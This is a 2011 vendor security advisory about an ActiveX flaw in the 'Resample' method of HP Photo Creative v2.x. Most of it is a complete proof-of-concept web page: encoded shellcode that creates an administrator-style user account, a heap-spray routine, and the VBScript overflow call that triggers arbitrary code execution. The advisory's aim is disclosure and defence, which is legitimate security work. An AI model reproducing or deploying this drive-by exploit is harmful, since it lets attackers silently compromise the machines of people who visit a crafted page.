LIONIC®
Security Chip Provider

01/05/2011
Doc No: SN-2011-01001

Security News

2011-01001 HP Photo Creative v2.x audio.Record.1 ActiveX Vulnerability

Outline

1. Affected Version

HP Photo Creative v2.x

2. Description

1. HP Photo Creative is a free software which can create photo books, calendars, collages, greeting cards.

2. There is a vulnerability found in method “Resample” when loading profiles. It would cause arbitrary code execution when visiting this malicious web pages.

3. Vulnerability Analysis

The proof-of-concept code is listed as follows:

```
<html>
<object classid='clsid:3EEEBC9A-580F-46EF-81D9-55510266413D' id='CRecord' />
</object>
<script language='javascript'>
//add user one, user "sun" pass "tzu"
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" +
                     "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +
                     "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +
                     "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +
                     "%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" +
                     "%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" +
```

```
                    "%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" +
                    "%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" +
                    "%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" +
                    "%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" +
                    "%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" +
                    "%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" +
                    "%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" +
                    "%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" +
                    "%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" +
                    "%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" +
                    "%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" +
                    "%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" +
                    "%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" +
                    "%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" +
                    "%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" +
                    "%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" +
                    "%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" +
                    "%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" +
                    "%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" +
                    "%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" +
                    "%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" +
                    "%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" +
                    "%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" +
                    "%u7734%u4734%u4570");
bigblock  = unescape("%u0c0c%u0c0c");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<666;i++){memory[i] = block+shellcode}
</script>
<script language='vbscript'>
x="xxxx"
y=String(150000, unescape("%0c"))
```

```
z=1
CRecord.Resample x,y,z
</script>
```

Table 1: The proof-of-concept code

In the above of PoC, it sends strings “xxxx”, “1” and lots of “%0c0c” to the method “Resample”. Before calling “Resample”, it has written lots of NOP and shellcode which would create account and set password. When calling “Resample”, lots of “%0c0c” would make it jump to the address containing malicious shellcode.

4. Recommendation

1. Lionic IDP signature database can prevent this attack since 01/05/2011.

5. Reference

1. http://www.hp.com/global/us/en/consumer/digital_photography/free/software/photo-creations.html
2. http://marc.info/?l=bugtraq&m=129381968304655&w=2